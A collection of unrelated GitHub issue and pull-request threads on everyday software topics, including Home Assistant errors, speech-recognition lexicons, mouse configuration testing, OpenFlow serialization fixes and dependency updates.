Error processing platform spook.repairs

However, I'm not your homie
Here is an issue,
Logger: homeassistant.helpers.integration_platform
Source: components/repairs/issue_handler.py:113
First occurred: 12:58:19 (2 occurrences)
Last logged: 12:58:19

Error processing platform spook.repairs
Error processing platform hassio.repairs
Traceback (most recent call last):
  File "/usr/src/homeassistant/homeassistant/helpers/integration_platform.py", line 51, in _async_process_single_integration_platform_component
    await integration_platform.process_platform(hass, component_name, platform)
  File "/usr/src/homeassistant/homeassistant/components/repairs/issue_handler.py", line 113, in _register_repairs_platform
    raise HomeAssistantError(f"Invalid repairs platform {platform}")
homeassistant.exceptions.HomeAssistantError: Invalid repairs platform <module 'custom_components.spook.repairs' from '/config/custom_components/spook/repairs/__init__.py'>

Interesting, haven't noticed it being picked up as an integration platform.
This needs addressing. Will take a look.
../Frenck


Kill StoRM webdav as same user that created it.

Motivation:
teapot will shutdown the StoRM WebDAV service as user root.  This is unnecessary, as the targeted user is able to stop the StoRM WebDAV service.
In general, running operations as root should be avoided.
Also, not requiring root makes it simpler to run teapot as a single user (in a development environment).
Modification:
Update sudo command to target the targeted user.
Result:
teapot no longer makes use of root access to shutdown StoRM webdav.


MSID: 96445 Version: 1 DOI: 10.1101/2<IP_ADDRESS>5316

MSID: 96445
Version: 1
Preprint DOI: https://doi.org/10.1101/2<IP_ADDRESS>5316
Step 1. Awaiting reviews
Editorial to post reviews via hypothesis
Useful links:

DocMap: https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=96445
New model tracking: https://docs.google.com/spreadsheets/d/1_fHaoOy7hjyocptKtVJRijeNpUY4hBS7Ck_aVmx6ZJk/
Reviews on sciety: https://sciety.org/articles/activity/10.1101/2<IP_ADDRESS>5316

For trouble shooting (e.g. no Docmaps available):

DocMap issue addressing: https://miro.com/app/board/uXjVNCwK6EI=/
Explore DataHub DocMaps API: https://lookerstudio.google.com/reporting/4c2f0368-babb-4beb-b5b3-497e7e7b0f08/page/ejphD
Unmatched submissions and preprints: https://lookerstudio.google.com/u/0/reporting/9f86204f-3bf7-477c-9b18-5c5ef141bf69/page/p_gxi57ha93c
Unmatched manuscripts spreadsheet: https://docs.google.com/spreadsheets/d/15QcK8w-ssB7109RQEDtFpJPZ0J5HTGxoHa_2TtpMBbg/edit#gid=1336081641

Step 2. Preview reviewed preprint
Production QC content ahead of publication
Instructions:

QC preview: https://prod--epp.elifesciences.org/previews/96445v1
Update ticket with any problems (add blocked label)
When QC OK, add QC OK label to ticket and add publication date and time to https://docs.google.com/spreadsheets/d/1amAlKvdLcaDp5W8Z8g77NmkwbMF5n_u89ArSqPMO8jg
Move card to next column
(At end of the day post link in #enhanced-preprint and ask for PDF to be generated)

Useful links:

Preprint DOI :  https://doi.org/10.1101/2<IP_ADDRESS>5316
Confirm reviews returned by EPP: https://prod--epp.elifesciences.org/api/reviewed-preprints/96445/v1/reviews
To update the MECA path in the docmap: https://docs.google.com/spreadsheets/d/1mctCQuNFBjSn97Lihy7_vBO6z7-N-oqyLv4clyi6zHg

Step 3: Awaiting search reindex
This step adds the reviewed preprint to the homepage: https://elifesciences.org
The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.
Useful links:

Jenkins pipeline to reindex search can be triggered sooner or monitored here: https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 4: Published! PDF requested
Waiting for PDF to be generated
Useful links:

PDF tracking: https://docs.google.com/spreadsheets/d/106_XeDjmuBae7gexOTNzg60lapeqjl2aRn9DzupGyS8/

Step 5: Introduce PDF to data folder and git repo
Upload PDF to relevent folder in git repo https://github.com/elifesciences/enhanced-preprints-data/
Step 6: Done!

[ ] Kettle is on!

@KJT08, I see this one had reviews posted a couple of days ago. Should it have been moved over or is held up?

Hi @fred-atherden sorry I must have missed this one, I'm moving it now

No worries - thanks


transcript to phone sequence

Hi,
I am wondering how I can convert the target transcript texts to its corresponding phone sequence for the word having multiple lexicon definitions in order to train the AM. In my understanding, CTC cannot handle such multiple definitions, but we definitely need to do it, e.g. for the word "read" of its present and past tense, respectively. Of course we can manually check the all target phone sequences of utterances, but it's too time-consuming job.
According to checking quickly, it seems that EESEN uses just the last definition of such multiple ones. Is this correct? If so, is there another good alternative strategy I can use to get some correct context independent phone sequence?
Thank you!

According to the following code in utils/prep_ctc_trans.py:
    # read the lexicon into a dictionary data structure
    fread = open(dict_file,'r')
    dict = {}
    for line in fread.readlines():
        line = line.replace('\n','')
        splits = line.split(' ')  # assume there are no multiple spaces
        word = splits[0]
        letters = ''
        for n in range(1, len(splits)):
            letters += splits[n] + ' '
        dict[word] = letters.strip()
    fread.close()

dict[word] will be overwritten if the word is the same, so only the last lexicon remains for the transcript-to-phone conversion. Is this reasonable?

Possibly not, because what if the dictionary lists most frequent first? If the compromise is to choose only one possible pronunciation, it should be the most common one! So I guess it depends on the design of the dictionary

Thank you for replying, @riebling. Then do we have to assume that the dictionary is well designed as the order of frequency in CI phone based CTC training?

Yes, right now, we are only using one pronunciation, whichever one happens to be last (I believe).
This is clearly not the best thing we can do, but dictionary learning has never led to consistent improvements. Yes, for a few words, having the correct pronunciations in the dictionary helps, but CTC (with LSTMS in any case?) works surprisingly well with English character based dictionaries - which are extremely noisy.
If you want, it should be possible to “align” multiple transcriptions to the training data, and see which pronunciation variant is preferred for a given utterance. With the current Eesen code, this is not very elegant, but it should be possible. If it leads to improvements, one could think about implementing a more elegant scheme that aligns lattices rather than phone strings?

On Nov 28, 2017, at 2:33 PM, riebling<EMAIL_ADDRESS>wrote:
Possibly not, because what if the dictionary lists most frequent first? If the compromise is to choose only one possible pronunciation, it should be the most common one! So I guess it depends on the design of the dictionary
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/srvk/eesen/issues/157#issuecomment-347637901, or mute the thread https://github.com/notifications/unsubscribe-auth/AEnA8RzcMjko4XX1rj6X7bJFM2mrpisqks5s7F_3gaJpZM4Qsppi.

No, I don’t think so.

On Nov 28, 2017, at 5:28 PM, Jinserk Baik<EMAIL_ADDRESS>wrote:
Thank you for replying, @riebling https://github.com/riebling. Then do we have to assume that the dictionary is well designed as the order of frequency in CI phone based CTC training?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/srvk/eesen/issues/157#issuecomment-347685418, or mute the thread https://github.com/notifications/unsubscribe-auth/AEnA8dn1iH4aehYqganXEpXaj2JRjvIQks5s7IkdgaJpZM4Qsppi.

Thank you @fmetze! I just wonder that this is the constraint of LSTM-CTC model, or there exist any better solution but not using it. The "English character based dictionaries" in your comment means the char-based AM? Char-based AM would be the better choice than the phone-based AM?

yeah, what i am saying is that BLSTM CTC models work remarkably well for a dictionary that consists simply of the English characters. It is generally not better than a phone based AM, but works remarkably well - and is much simpler to handle.

On Nov 28, 2017, at 9:11 PM, Jinserk Baik<EMAIL_ADDRESS>wrote:
Thank you @fmetze https://github.com/fmetze! I just wonder that this is the constraint of LSTM-CTC model, or there exist any better solution but not using it. The "English character based dictionaries" in your comment means the char-based AM? Char-based AM would be the better choice than the phone-based AM?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/srvk/eesen/issues/157#issuecomment-347729685, or mute the thread https://github.com/notifications/unsubscribe-auth/AEnA8Xq-OybBu2LZ8ZP7H9FgJxNgFnXsks5s7L1egaJpZM4Qsppi.

I agree that the char-based AM is much simpler for the training, but it requires re-training when we want to add new words to be supported. On the other hand, phone-based AM is relatively free from the issue, since we can handle the additional words with G2P, dictionary and graphs. Of course this is a little bit far from the end-to-end concept, however, the re-training is not so simple in the real ASR application. Could you advise about this point for the choice of AM?

Ah, I just thought that I have to retrain the AM if the dictionary changes. So you mean that the char-based AM has some kind of intrinsic phone-to-grapheme converting capability, so it can figure out any new words if the words are included in lexicon? If so, I misunderstood! Sorry for making a confusion!

yes, this is exactly what is happening. the character AM is learning “typical" G2P rules.

On Nov 29, 2017, at 12:13 PM, Jinserk Baik<EMAIL_ADDRESS>wrote:
Ah, I just thought that I have to retrain the AM if the dictionary changes. So you mean that the char-based AM has some kind of intrinsic phone-to-grapheme converting capability, so it can figure out any new words if the words are included in lexicon? If so, I misunderstood! Sorry for making a confusion!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/srvk/eesen/issues/157#issuecomment-347930165, or mute the thread https://github.com/notifications/unsubscribe-auth/AEnA8eyi0eGk5mdejGbWWLdXjn7mbkQ7ks5s7ZDIgaJpZM4Qsppi.


Steelseries 300 black feedback (works)

Hi
So I've been able to set the colours of the wheel and logo (though I tried turning them off which didn't work), as well as the different light effects.
Also, the refresh rate is settable, but I don't really know how to test it, the same with the presets for sensitivity. If you have some tests I can do, let me know!
And thank you! :)

Hello,
Thank you for your feedback.
So the working options are:

--logo-color,
--logo-light-effect,
--wheel-color,
--wheel-light-effect

though I tried turning them off which didn't work

How you tried to turn them off? with the following command?
rivalcfg --logo-color=black --wheel-color=black

Also, the refresh rate is settable, but I don't really know how to test it, the same with the presets for sensitivity

For the sensibility presets, an easy way to test it is to

set a very low value: rivalcfg --sensitivity1=250 --sensitivity2=250
if it worked, the cursor should become very slow
then set a very high value rivalcfg --sensitivity1=6000 --sensitivity2=6000
if it worked, the cursor will move quickly

For the refresh rate, it's hard to check if it works, I think the only way to do it is to spy the USB bus, but it is not a very simple thing to do...
Thank you again for your feedback! :)

Hi again
I had not tried supplying "black" as an argument, but that worked and the mouse goes black. In general I've tried using the rgb codes, but it seems like all values below 0x0a (like 000009) raises a value error:
Traceback (most recent call last):
  File "/usr/local/bin/rivalcfg", line 9, in <module>
    load_entry_point('rivalcfg==2.2.0', 'console_scripts', 'rivalcfg')()
  File "/usr/local/lib/python2.7/dist-packages/rivalcfg/cli.py", line 171, in main
    getattr(mouse, option)(value)
  File "/usr/local/lib/python2.7/dist-packages/rivalcfg/rival_mouse.py", line 86, in _handler_rgbcolor
    raise ValueError()
ValueError

The sensitivity settings works as you described with very slow or insanely fast motions.
Anything else you want tested? :)

Hi,
Thank you for your quick answer.

I've tried using the rgb codes, but it seems like all values below 0x0a (like 000009) raises a value error

Oops, that's a bug in my implementation, rivalcfg -c 099999 will crash the same way... I will fix this tomorrow :)

The sensitivity settings works as you described with very slow or insanely fast motions.

Yeah \o/

Anything else you want tested? :)

No, I think everything is ok, I will remove the experimental flag for this mouse.
Thank you again for your tests! :D

Great!
Let me know if something shows up. I'll be happy to test something out :)

the issue with the color parsing is fixed in the version 2.3.0, and I removed the experimental flags. Thank you for your feedbacks! :)


refactor: bridge addr to oracle

Summary by CodeRabbit

New Features

Introduced new methods for converting bridge addresses to oracle addresses and retrieving oracle details.

Enhancements

Improved address validation process by utilizing new conversion methods.

Tests

Enhanced test cases for oracle set confirmations and refined error messages.

mg


Update extensionsGallery-insider.json for ML 0.10.0

VSIX from the release build: https://mssqltools.visualstudio.com/_apis/resources/Containers/3115191/drop?itemPath=drop%2Fextensions%2Fmachine-learning-0.10.0.vsix

Gallery updated!

Gallery updated!

Thanks Charles


Added build dependencies to support zfs in Rancheros 0.8.1

I an attempt. Might work, but, I regret to admit that I don't have enough skill to run and evaluate. Alas

yeah, that's not quite going to work :)
I've changed the script to use their release tgz files in #101
so closing :)


MKL: Adding MKL-DNN support for LRN op

Can one of the admins verify this patch?

@tensorflow-jenkins test this please


(STONEINTG-687): add finalizer to component controller

Changes to predicate logic for component controller to react to update events as opposed to deletion events. Alongside the addition of a finalizer ensures that the component controller will be able to accomplish generation of new snapshot for remaining components before the resource is removed from the cluster.
Maintainers will complete the following section

[ ] Commit messages are descriptive enough (hints)
[ ] Code coverage from testing does not decrease and new code is covered (check the PR coverage on codecov)
[ ] Controllers diagrams are updated when PR changes controllers code  (if applicable)

/test integration-service-e2e

/test integration-service-e2e

/test integration-service-e2e

After investigating the artifacts and logs of ci/prow/integration-service-e2e , for example , changes made in this PR lead to 3 components to be not deleted and looking into components artifact the finlizer was not removed as expected .

/test integration-service-e2e


rename ProteinComponent to PDBComponent?

@IAlibay the thinking is that currently we're making a lot of PDB specific assumptions about the content of the underlying model (resnames, resnums + icodes, chainids) so that it's not a general protein model but specifically a PDB-format view of a protein model.
What other ways to load things might we add (that would include the above special fields)?

don't we mostly make these assumptions on load? I feel like elsewhere we just assume it's something that can be digested by rdkit and eventually passed along to PDBFile/Modeller?
My main view here re: naming here is 1) the intent of this component is that it's a polymer that can get parametrised using off the shelf additive force fields, 2) technically there's nothing that should stop you from passing in a customised / self built rdkit molecule to this component, 3) pretty sure something like a gro file or more programmatically an MDA Universe would include all the necessary information you'd need - in the long run it'd be great to just go "here are attributes you need, make this an rdkit molecule and it'll work"

So one key difference between SmallMoleculeComponent and ProteinComponent is that the underlying rdkit molecule in ProteinComponent is expected to have the MonomerInfo() attribute (which holds resname etc) populated.  This for example then populates the Hierarchy system in an OpenFF Molecule/Topology

I think I'd vote for PolymerComponent here, or something like that, and then make it clear that the rdkit molecule needs that information. Maybe I'm just overthinking the cool possibility of creating arbitrary polymers without ever seeing an input file though.

I see what you mean there, but what if you went the other way round, i.e. you create a component from an OpenFF polymer molecule? (created through some arbitrary means that has this information)

My main point here is - are we naming for input or for what the object represents. Both are ok, but then we should probably consider having the same naming scheme across the board, otherwise it's confusing for users.

Arguably, there must be some "standards" for computer-friendly representation of proteins. I'd argue PDB is one of those, I think whatever we chose here must to adhere to some standard way of formatting the protein information and we just have to enforce it in our code base. Is there a way around that regardless of what we choose?
I agree our current component relies heavily on the PDB way of doing things, for better or for worse.  Maybe when we have the need to support other formats and standards we could create specific classes/models for them, not sure how API breaking this could be in the end, though.


OCP quickstart output resource_group_names does not contain proper values

Deploy OCP quickstart with prefix: con-qs
The resource_group_names output contains the group names with the prefix:

These should have the actual name of the groups, including the prefix. For example: con-qs-management-rg

@ocofaigh seems this was intentional, any reasoning why?
https://github.com/terraform-ibm-modules/terraform-ibm-landing-zone/blob/14b3656b0787f7da81163a98726b739a90b20ca1/resource_groups.tf#L42
https://github.com/terraform-ibm-modules/terraform-ibm-landing-zone/blob/14b3656b0787f7da81163a98726b739a90b20ca1/outputs.tf#L274

@jor2 no idea - we may have inherited this

If I had to guess, the stripping of prefix for that other local variable probably has to do with all the mapping that happened at the pattern level, which would NOT include the prefix. So the local.resrouce_groups probably wanted to preserve the original names used in mappings.


Postgres unknown object timedelta

Loading the docker postgres stress shows log with many of:
JSON Encoding Error: Unknown object type "<class 'datetime.timedelta'>" for 0:00:00
JSON Encoding Error: Unknown object type "<class 'datetime.timedelta'>" for 0:00:00
JSON Encoding Error: Unknown object type "<class 'datetime.timedelta'>" for 0:00:00

Per screen shot below, this appears to be coming from safrs; unclear how to resolve.

postgres-stress.zip

Hi,
In case of json encoding errors like this you can write a custom JSON encoder for flask/safrs and use that (set app.json_encoder, cfr. https://github.com/thomaxxl/safrs/blob/714708ae9b6eb5a86517c867b32caeea8d05e681/safrs/json_encoder.py#L156 ).
Note that in DEBUG mode, the encoding will default to str(), if safrs isn't running in debug then you will get an error.
I added a timedelta encoding to safrs (https://github.com/thomaxxl/safrs/commit/56f3839fd5427420102d4676b0b5326db6bca184) .
The json encoding (patch/post) will fail though.


Feature Request: useDecisions hook

The current useDecision hook can only work with one feature flag and return only one OptimizelyDecision.
In situation where more than one decision is needed, a useDecisions hook can be used rather than using multiple useDecision hooks. This is especially important for cases where the flags used would change dynamically, for example a switchByFeatureFlags function, which accept multiple flags as argument.

bumping,
what is the recommended way to handle a view that might have multiple a/b tests / assigned decision variants please?
Is there a way to see all the a/b test decisions that a user has been assigned on instead of having to check "useDecision" on each flag and handling "didTimeout" and "isClientReady" on each flag please?
Much appreciated

I've created an internal work ticket (FSSDK-9620) for this.
Question (and please forgive my in-progress React knowledge): could we separate out by component where useDecision() is used ie react inside each component separately  (I'm sort of guess at the implementation too here 😁 )


dummy request from private test repo

fsfdsdggfdgdfg

For test purposes, this PR was launched from a private repo that forked the image:

image could be reproduced, but no update on ghcr.io was possible
pull request got stuck with this review request
pull request did not trigger pipeline that would have overwritten our image


add QCTools v<IP_ADDRESS>61011

There was a pull request template when you submitted. It must be filled.
If you were not presented a template, you may have submitted via a CLI tool (likely hub). It that was the case, you may wish to see if the tool has a way to let you use the template (hub is working on it).
In either case, please refer to the template and update your comment.

Thanks @vitorgalvao, PR is updated with your suggestions.

appcast data added, thx


feat: Added ability to render rich text

Description
(WIP)
Checklist

[x] The title of my PR starts with a Conventional Commit prefix (fix:, feat:, docs: etc).
[x] I have read the Contributor Guide and followed the process outlined for submitting PRs.
[ ] I have updated/added tests for ALL new/updated/fixed functionality.
[ ] I have updated/added relevant documentation in docs and added dartdoc comments with ///.
[ ] I have updated/added relevant examples in examples.

Breaking Change

[-] Yes, this is a breaking change.
[x] No, this is not a breaking change.

Related Issues
Part of #1627
Blocked by #1720

Looking forward to it! Let us know once you want a review!
I imagine once you provide a description to the PR.

@st-pasha what should be done with this PR? It has been in draft for quite a while now, should it just be a branch until it is closer to completion maybe?

Large parts of this has already been merged, so just need to figure out what's remaining

I'll close this since it has been open for such a long time now, but once the branch is back up to date feel free to open another PR with it.


Fix NewOfpActionSetField length calculation.

Openflow spec 1.3 :
/* Action structure for OFPAT_SET_FIELD. /
struct ofp_action_set_field {
uint16_t type;/ OFPAT_SET_FIELD. /
uint16_t len; / Length is padded to 64 bits. /
/ Followed by:
*- Exactly oxm_len bytes containing a single OXM TLV, then
- Exactly ((oxm_len + 4) + 7)/88 - (oxm_len + 4) (between 0 and 7)

bytes of all-zero bytes
/
uint8_t field[4]; / OXM TLV - Make compiler happy */
};
OFP_ASSERT(sizeof(struct ofp_action_set_field) == 8);

Change-Id: Id4708f8abfdd164d57d8849d93cb88b397cfb481

Hi,
Thanks for your comments.
I change the unit test to only validate how set field is serialized with different kind of 0XM field.
Without the change, TestSerializeActionSetFieldOxmVlan fails.
With my first change, TestSerializeActionSetFieldOxmVlan is successful but TestSerializeActionSetFieldOxmSrcIpv6 fails.
With my updated changes, both tests are successful (on top of your original one).

Thank you for your updating code @oqu.
I have some questions and a request.
Question
Let me confirm about some points.

Without the change, TestSerializeActionSetFieldOxmVlan fails.

Does it mean that "Without the change" means without your first commit?
That is, TestSeializeActionSetFieldOxmVlan fails using master branch's  gofc ofp13 parser.
Is this correct ?

With my first change, TestSerializeActionSetFieldOxmVlan is successful but TestSerializeActionSetFieldOxmSrcIpv6 fails.
With my updated changes, both tests are successful (on top of your original one).

First change means your first commit of this pull request and TestSerializeActionSetFieldOxmSrcIpv6 fails with that code.
Then, you fix NewOfpActionSetField and Size function and finally all of test .
Is my understanding correct?
Request
Could you move TestSerializeActionSetFieldOxmSrcIpv6 and NewOfpActionSetField to around the line after TestSerializeActionSetField ?
I would like to put the tests together as much as possible when it test about the same structure.

Yes, with master branch's gofc ofp13 parser, TestSerializeActionSetFieldOxmVlan fails.
I have not tested TestSerializeActionSetFieldOxmSrcIpv6 with gofc master branch.
With my first commit, d72bf1935ede46ad3e27e316d7c3fa2b763b36b9, TestSerializeActionSetFieldOxmVlan passes but TestSerializeActionSetFieldOxmSrcIpv6 fails.
With my last commit, f000de2d1d05209a3272d46885631711916e353d, both TestSerializeActionSetFieldOxmVlan and TestSerializeActionSetFieldOxmSrcIpv6 passes.
I will move the test close to TestSerializeActionSetField.
I also noticed I forgot to gofmt my changes.

Thank you @oqu.
I'll merge this pull request 😃


Add include_dirs to servedocs

This patch add a new keyword argument include_dirs to servedocs which make it possible to add additional source directories (in addition to docs/src) that should be considered for the file watching. This does, for example, make it possible to watch the source files of your package, and call Revise.revise() in docs/make.jl in order to automatically update docstrings.

Codecov Report
Base: 74.17% // Head: 74.32% // Increases project coverage by +0.14% :tada:

Coverage data is based on head (a0dc2ee) compared to base (292901b).
Patch coverage: 75.00% of modified lines in pull request are covered.

Additional details and impacted files
@@            Coverage Diff             @@
##           master     #154      +/-   ##
==========================================
+ Coverage   74.17%   74.32%   +0.14%
==========================================
  Files           4        4
  Lines         364      370       +6
==========================================
+ Hits          270      275       +5
- Misses         94       95       +1

Impacted Files
Coverage Δ

src/utils.jl
77.27% <75.00%> (+0.44%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Add Uniasselvi University

@matheusknaul I am sorry, the domain aluno.uniasselvi.com.br is removed from our trusted domains list because it was abused in the past. If you are the student of this school, please enroll to GitHub Student Developer Program. Then apply for JetBrains educational subscription with your GitHub account (GitHub tab at https://www.jetbrains.com/shop/eform/students).


Fallback to login when continuation is refused for AUTH=PLAIN

Fixes #2648 which arises because the mail provider rejects AUTHENTICATE PLAIN immediately, rather than providing the continuation responses.
We can handle this fairly straightforwardly with a slight change to authPlain and to the check for a continuation.

my knowledge of imap is fairly limited in this regard - is there a reason we don't just use LOGIN for PLAIN authentication?

I'd rather work around the issue differently. See https://github.com/k9mail/k-9/issues/2648#issuecomment-320928994


2.9.0 gem not found

Dependabot rubocop-rspec upgrades are installing the new version of regexp_parser, 2.9.0. However, we are getting this error:
➜  bundle install
Fetching gem metadata from https://rubygems.org/.........
Your bundle is locked to regexp_parser (2.9.0) from rubygems repository https://rubygems.org/ or installed locally, but that version can no longer be found in that source. That means the author of regexp_parser (2.9.0) has removed it. You'll need to update your bundle to a version other than regexp_parser (2.9.0) that hasn't been removed in order to install.

This is the diff from the rubocop-rspec upgrade:

We also had issues with installing 2.9.0 at discourse but I'm now able to install it locally 🤔
❯ bundle
Fetching gem metadata from https://rubygems.org/.........
Fetching regexp_parser 2.9.0
Installing regexp_parser 2.9.0
Bundle complete! 138 Gemfile dependencies, 234 gems now installed.

Indeed, now it's working for me too, so closing the issue ✅

JFYI this might have been the cause: https://github.com/rubygems/rubygems.org/issues/4331


Link tutorials to appropriate tools page

Would be nice to have them linked along with general help.

Now in #133.


Migrate from mocha to minispec

Disclaimer:  I do not expect this to be merged 😅  This is a personal POC to validate that minispec can replace mocha in a simple project. It it is accepted, that would be amazing for minispec 🤩 but no bad feeling if it is not

🤔 What's changed?
Replacement of mocha with minispec

⚡ What's your motivation?
Minispec can easily replace mocha. In a simple project like cucumber-expression, it works pretty well.
Minispec comes with no dependency at all. That way we are able to reduce a little bit the number of dependencies installed with npm i. Less dependencies means less resources consumed, and less dependencies to maintain even if that is done with bots.
Some numbers:

15 dependencies less than with mocha
2 moderate severity vulnerabilities less than with mocha
npm install-test in about the same time to be executed (4s faster with minispec on the last run on the CI, but not sure this is relevant. The info is: it is not slower at all)

stryker run are deeply impacted because of the coverageAnalysis "perTest" option: it is not working when running with the command test runner

🏷 What kind of change is this?

:bank: Refactoring/debt/DX (improvement to code design, tooling, documentation etc. without changing behaviour)

♻ Anything particular you want feedback on?
I am aware that maintaining the minispec entrypoint may be an issue. What are your though about that?
📋 Checklist:

[x] I agree to respect and uphold the Cucumber Community Code of Conduct

This text was originally generated from a template, then edited by hand. You can modify the template here.

Remember: Disclaimer: I do not expect this to be merged 😅 This is a personal POC to validate that minispec can replace mocha in a simple project. It it is accepted, that would be amazing for minispec 🤩 but no bad feeling if it is not

Thanks for the PR @aurelien-reeves. I think minispec looks great, but I don't think the benefits it brings over mocha outweighs the drawbacks of using a testing library with little adoption.


Auto-update kubernetes-utils to latest version

Boop beep I am a bot
This is an automatically created PR to change keptn/kubernetes-utils to version 910be01bc401620650fcc0cfed63b0aef8a13d25.

superseeded by #2813


Update react modern charts

Q
A

Bug fix?
no

New feature?
no

New sample?
no

Related issues?
none

What's in this Pull Request?
Upgrade react-modern-charts web part to SPFx 1.4.1

thx Joel, these updates are super valuable... really appreciate it. Also - if there's anything which we simply should drop, feel free to suggest.


dart2js Polymer Dart Sample ClickCounter App (Debug mode) is OK in Firefox, fails in Chrome

Originally opened as dart-lang/sdk#21567
This issue was originally filed by<EMAIL_ADDRESS>
What steps will reproduce the problem?

In Dart Editor create the default ClickCounter Polymer app
Fix the app to make it compatible with recent Polymer
Generate stand-alone JS

What is the expected output? What do you see instead?
Expect to see ClickCounter as a web component/shadow DOM
All is well in Firefox and in Release mode under Chrome. Chrome does not pick up the web component when the JS is generated in Debug mode.
What version of the product are you using? 1.7.2
On what operating system? Win-7
What browser (if applicable)? Chrome and FF
Please provide any additional information below.
More info and the exact code at SO question 26852942.
http://stackoverflow.com/questions/26852942/dart2js-polymer-dart-sample-clickcounter-app-is-ok-in-firefox-fails-in-chrome?s=9|0.0000

 Comment by kasperl

Added Area-Pkg, Pkg-Polymer, Triaged labels.

 Comment by jakemac53

I wasn't able to get a repro on this, could you post a zip file of your project?


[i2c] Multi-controller support

Pending decision; to be populated with details
Open items

[ ] This automatic sending of a Stop condition when SW doesn't handle an interrupt may have to be revisited for multi-controller support.
[ ] To be completed

Note that multi-controller support is a pre-requisite of the MCTP binding. Command protocols on top happen via request / response, and all devices in the system are both controllers and targets. (MCTP exclusively uses Write commands -- There are no Read commands.)


Refactor common link logic

Moved almost all of the common logic currently in Tools/init.py which was for shared libraries and loadable modules to a new sub module SCons.Tool.linkCommon
This shouldn't break any tools or change any functionality.
Strictly refactoring
Contributor Checklist:

[x] I have created a new test or updated the unit tests to cover the new/changed functionality.
[x] I have updated CHANGES.txt (and read the README.rst)
[x] I have updated the appropriate documentation

I'm going to merge without reformatting per @mwichmann
Discussion in discord regarding globally reformatting using black


Improve design of planet-page.html

planet-page.html can be a template of how each planet section would look after clicking on an index.html navigation planet.  It currently has no color and is partially responsive.
Currently at a width of 1100 px, the side by side layout made with flex box changes to a top and bottom layout.  At 1100px, I think it would look better if the Facts section was still side by side with the planet image, but the Details section would be below those two at full width.  This is only a suggestion.
Be creative and make any improvements you can imagine.

I will take a look tomorrow and see where the ui can be improved.


Reduced and rephrased words for enhanced clarity

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

The addition of the word "design" between "behavioral patterns" caused a lack of continuity between the title and heading with the content of the article. There is still much that I could not understand regarding these behavioral patterns and I hope someone will return to elaborate and explain the article further.


Update example code: set state by passing function

I went through the tic tac toe tutorial to refresh my react knowledge. Shouldn't updates to the state, that depend on the previous state, be performed by passing a function to setState()?

@gaearon Any issues with this PR? It looks good to me. Otherwise I'll merge it. 😃


Subscriptions don´t get refreshed

Hi,
Thanks for reading. Many of my subscriptions do not get refreshed and when I get the info an validate the link it tells me it is valid. Moreover, if I open the link it works perfectly. Any help will be much appreciated.
Kind regards
Iñigo

The same here: Please check the following feeds:
https://www.uzh.ch/id/cl/dl/dn/feed.rss
https://www.uzh.ch/blog/zi/feed

Look at the details in the Activity window after a refresh attempt


Flutter tag links to incorrect page

The individual package pages show a tag for the package type, e.g. 'FLUTTER' here:
https://pub.dartlang.org/experimental/packages/url_launcher#-readme-tab-
For flutter packages this currently links to https://pub.dartlang.org/flutter/packages. I think it should link to https://pub.dartlang.org/experimental/flutter.

cc @isoos

This is fixed in code, but not deployed yet.

Great, thanks

Deployed!


[#44] Migrate to Webpack instead of Browserify

@iamakulov do I need to add some information to README.md?

👍

@andrew--r, added a few nits. Apart from that, everything looks great!

do I need to add some information to README.md?

I believe no.

Could we also update package.json so that main will target the new release build (instead of the sources)?

Done some changes and merged. @andrew--r and @vitkarpov, big thanks!

Switched Webpack to build two different bundles
Updated package.json to point to likely-commonjs.js.
BTW, this js.js part is weird, so if you have any better proposal for the name feel free to suggest. likely-common.js isn’t OK because common is ambiguous.
Updated the release files. This breaks out current practice of updating them only before releasing a new version, however, this update is required. In this PR, we update the build process and make package.json point to a new file, and if someone installed Likely from GitHub with npm, not updating the release files will break their app.


Add Jira 'component' to GH->Jira sync

Issue
The newly created issue on GH should have Jira's "component" correctly and automatically set.
The component value is coming from GH Secrets.
Testing
Can be tested on GH after merging only. Suppose to be the last part in the puzzle.
Release Notes
No need to mention in release notes.

Just for the history, microk8s tests is failing due to bug in tls-operator:
https://github.com/canonical/tls-certificates-operator/issues/23


Added JS code back to handle buttons that are not part of toolbars.

Buttons on RHN Updates screen are html biuttons that are not part of center toolbars. Added code back to handle enable/disable state of such buttons. This issues was introduced by changes in https://github.com/ManageIQ/manageiq/pull/4853 commit: c731ca576b93f658c9706114b093f92b447dd9af
https://bugzilla.redhat.com/show_bug.cgi?id=1378165
@dclarizio @martinpovolny @skateman please review.
before:

after:

Euwe Backport details:
$ git log -1
commit ac1425b77fde167900cecb194e18d5d56aa88f19
Author: Martin Povolny<EMAIL_ADDRESS>Date:   Mon Oct 17 15:22:18 2016 +0200

    Merge pull request #11952 from h-kataria/rh_updates_buttons_fix

    Added JS code back to handle buttons that are not part of toolbars.
    (cherry picked from commit 17f9f2ea6785e70549826d490fb08e20b96242c6)

    https://bugzilla.redhat.com/show_bug.cgi?id=1378165


feat: upgrade sds

#747
Upgrades SDS to the latest version 20.8.0. I separated the upgrade into two PRs for better readability: one for the upgrade + refactors, and the 2nd for all of the colors that were grep'd and replaced
Demo
https://dev-sds-upgrade.cryoet.dev.si.czi.technology

🎉
Only noticed 2 things from the demo

Looks like the font changed?
Seems like there's an extra space on the top of the select menus now for some reason


Pull up sqlRewriteEntry in BaseShardingEngine

Pull Request Test Coverage Report for Build 10469

2 of 2 (100.0%)  changed or added relevant lines in 1 file are covered.
3 unchanged lines in 1 file lost coverage.
Overall coverage decreased (-0.005%) to 58.193%

Files with Coverage Reduction
New Missed Lines
%

